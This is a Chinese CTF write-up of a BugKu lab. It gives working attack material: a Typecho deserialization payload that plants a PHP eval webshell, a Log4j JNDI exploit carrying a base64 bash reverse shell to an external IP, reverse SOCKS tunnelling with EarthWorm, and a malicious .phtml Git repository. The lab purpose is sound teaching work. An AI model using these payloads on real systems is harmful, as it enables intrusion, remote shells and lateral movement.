BugKu-PAR-渗透测试2
字数 1368 2025-08-11 08:36:26

Typecho反序列化漏洞与内网渗透实战教学文档

1. 初始信息收集与漏洞利用

1.1 目录扫描与源码泄露

  1. 使用dirsearch扫描目录

    python3 dirsearch.py -u http://target.com -e *
    

    发现.git目录泄露,表明存在源码泄露漏洞

  2. 利用GitHack工具下载源码

    python2 GitHack.py http://target.com/.git/
    

    下载后分析源码,确认目标系统为Typecho

1.2 Typecho反序列化漏洞利用

  1. 漏洞原理

    • Typecho存在反序列化漏洞,可导致远程代码执行
    • 漏洞存在于Typecho_RequestTypecho_Feed类的反序列化过程中
  2. 构造Payload

    <?php
    class Typecho_Request{
        private $_params = array();
        private $_filter = array();
        public function __construct() {
            $this->_params['screenName'] = "echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d > 2.php";
            $this->_filter[0] = 'system';
        }
    }
    
    class Typecho_Feed{
        const RSS2 = 'RSS 2.0';
        const ATOM1 = 'ATOM 1.0';
        const DATE_RFC822 = 'r';
        const DATE_W3CDTF = 'c';
        const EOL = "\n";
        private $_type;
        private $_items = array();
        public $dateFormat;
    
        public function __construct() {
            $this->_type = self::RSS2;
            $item['link'] = '1';
            $item['title'] = '2';
            $item['date'] = 1507720298;
            $item['author'] = new Typecho_Request();
            $item['category'] = array(new Typecho_Request());
            $this->_items[0] = $item;
        }
    }
    
    $x = new Typecho_Feed();
    $a = array(
        'host' => 'localhost',
        'user' => 'xxxxxx',
        'charset' => 'utf8',
        'port' => '3306',
        'database' => 'typecho',
        'adapter' => $x,
        'prefix' => 'typecho_'
    );
    echo urlencode(base64_encode(serialize($a)));
    ?>
    
  3. 利用步骤

    • 执行上述PHP脚本生成payload
    • 将payload通过Cookie或其他方式提交到目标网站
    • Payload会在网站根目录生成2.php一句话木马文件
  4. 连接Webshell

    • 使用蚁剑连接http://target.com/2.php
    • 密码为1(根据payload中的$_POST[1]

2. 内网渗透与横向移动

2.1 内网信息收集

  1. 查找敏感文件

    • 在根目录发现flag文件
    • 在web目录下发现admin.ini.php,包含数据库凭据
  2. 数据库连接

    • 使用蚁剑的数据库插件连接MySQL
    • 在数据库中查找flag
  3. 网络信息收集

    cat /etc/hosts
    ip addr
    netstat -tulnp
    

2.2 代理搭建与内网扫描

  1. 使用EarthWorm(EW)搭建代理

    Kali端执行

    ./ew_for_linux64 -s rcsocks -l 1010 -e 7777
    
    • 在本地1010端口开启SOCKS5代理

    目标机执行

    ./ew_for_linux64 -s rssocks -d [Kali_IP] -e 8888
    
  2. 内网扫描

    • 上传fscan到目标机:
    ./fscan_amd64 -h [内网地址段] > a.txt
    

2.3 Log4j漏洞利用

  1. 发现Log4j漏洞

    • 扫描发现内网Web应用
    • 通过返回头提示发现源码文件名
    • 下载源码分析确认Log4j漏洞
  2. 搭建JNDI服务

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzQuNTYuMjAwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "49.234.56.200"
    
    • 替换base64编码为你的反弹shell命令
    • 替换IP地址为你的VPS地址
  3. 触发漏洞

    ${jndi:rmi://119.91.32.206:1099/fv304f}
    
    • 根据JNDI服务返回的URL修改
  4. 获取反弹Shell

    • 在VPS上开启监听:
    nc -lvnp 6666
    

2.4 进一步内网渗透

  1. 信息收集

    cat /etc/hosts
    ip addr
    
  2. 设置新代理

    • Kali端:
    ./ew_for_linux64 -s rcsocks -l 1000 -e 8888
    
    • 目标机:
    ./ew_for_linux64 -s rssocks -d [Kali_IP] -e 8888
    
  3. 发现Git仓库克隆功能

    • 创建包含恶意.phtml文件的Git仓库
    • 提交仓库地址让目标克隆
    • 访问克隆后的.phtml文件获取Webshell
  4. FTP服务利用

    • 扫描发现FTP服务
    • 使用guest:guest登录
    ftp [目标IP]
    ls
    get flag
    

3. Flag收集总结

  1. Flag位置

    • Web根目录
    • 数据库表中
    • Log4j漏洞机器的根目录和/root目录
    • 通过Git克隆功能获取的Webshell所在机器
    • FTP服务中的文件
    • 系统根目录/
  2. 关键技巧

    • 每次获取新机器后立即检查/etc/hosts和网络配置
    • 使用不同端口建立多级代理避免冲突
    • 善用fscan进行内网扫描
    • 注意非常规文件扩展名(如.phtml)的执行可能性

4. 工具与资源

  1. 必要工具

    • dirsearch:目录扫描
    • GitHack:.git泄露利用
    • EarthWorm(EW):内网代理
    • fscan:内网扫描
    • JNDI-Injection-Exploit:Log4j漏洞利用
  2. Payload生成

    • 反序列化Payload生成PHP脚本
    • Base64编码的反弹Shell命令
  3. 监听工具

    • Netcat
    • Socat

通过以上步骤,可以系统性地完成从外网到内网的渗透测试,并收集所有flag。

Typecho反序列化漏洞与内网渗透实战教学文档 1. 初始信息收集与漏洞利用 1.1 目录扫描与源码泄露 使用dirsearch扫描目录 : 发现 .git 目录泄露,表明存在源码泄露漏洞 利用GitHack工具下载源码 : 下载后分析源码,确认目标系统为Typecho 1.2 Typecho反序列化漏洞利用 漏洞原理 : Typecho存在反序列化漏洞,可导致远程代码执行 漏洞存在于 Typecho_Request 和 Typecho_Feed 类的反序列化过程中 构造Payload : 利用步骤 : 执行上述PHP脚本生成payload 将payload通过Cookie或其他方式提交到目标网站 Payload会在网站根目录生成 2.php 一句话木马文件 连接Webshell : 使用蚁剑连接 http://target.com/2.php 密码为 1 (根据payload中的 $_POST[1] ) 2. 内网渗透与横向移动 2.1 内网信息收集 查找敏感文件 : 在根目录发现flag文件 在web目录下发现 admin.ini.php ,包含数据库凭据 数据库连接 : 使用蚁剑的数据库插件连接MySQL 在数据库中查找flag 网络信息收集 : 2.2 代理搭建与内网扫描 使用EarthWorm(EW)搭建代理 : Kali端执行 : 在本地1010端口开启SOCKS5代理 目标机执行 : 内网扫描 : 上传 fscan 到目标机: 2.3 Log4j漏洞利用 发现Log4j漏洞 : 扫描发现内网Web应用 通过返回头提示发现源码文件名 下载源码分析确认Log4j漏洞 搭建JNDI服务 : 替换base64编码为你的反弹shell命令 替换IP地址为你的VPS地址 触发漏洞 : 根据JNDI服务返回的URL修改 获取反弹Shell : 在VPS上开启监听: 2.4 进一步内网渗透 信息收集 : 设置新代理 : Kali端: 目标机: 发现Git仓库克隆功能 : 创建包含恶意 .phtml 文件的Git仓库 提交仓库地址让目标克隆 访问克隆后的 .phtml 文件获取Webshell FTP服务利用 : 扫描发现FTP服务 使用 guest:guest 登录 3. Flag收集总结 Flag位置 : Web根目录 数据库表中 Log4j漏洞机器的根目录和/root目录 通过Git克隆功能获取的Webshell所在机器 FTP服务中的文件 系统根目录 / 下 关键技巧 : 每次获取新机器后立即检查 /etc/hosts 和网络配置 使用不同端口建立多级代理避免冲突 善用 fscan 进行内网扫描 注意非常规文件扩展名(如 .phtml )的执行可能性 4. 工具与资源 必要工具 : dirsearch:目录扫描 GitHack:.git泄露利用 EarthWorm(EW):内网代理 fscan:内网扫描 JNDI-Injection-Exploit:Log4j漏洞利用 Payload生成 : 反序列化Payload生成PHP脚本 Base64编码的反弹Shell命令 监听工具 : Netcat Socat 通过以上步骤,可以系统性地完成从外网到内网的渗透测试,并收集所有flag。